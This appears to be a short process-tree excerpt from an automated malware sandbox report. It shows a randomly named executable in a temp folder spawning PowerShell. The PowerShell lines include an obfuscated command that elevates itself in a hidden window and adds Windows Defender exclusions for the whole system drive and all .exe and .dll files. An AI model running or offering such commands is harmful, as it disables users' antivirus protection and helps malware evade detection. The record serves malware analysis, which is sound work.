kgec63hr0ubmn.exe "C:\Users\test22\AppData\Local\Temp\kgec63hr0ubmn.exe"
516explorer.exe C:\Windows\Explorer.EXE
1236powershell.exe powershell "Start-Process <#jmybslhisbylumiusns#> powershell <#jmybslhisbylumiusns#> -Verb <#jmybslhisbylumiusns#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
2636powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
2812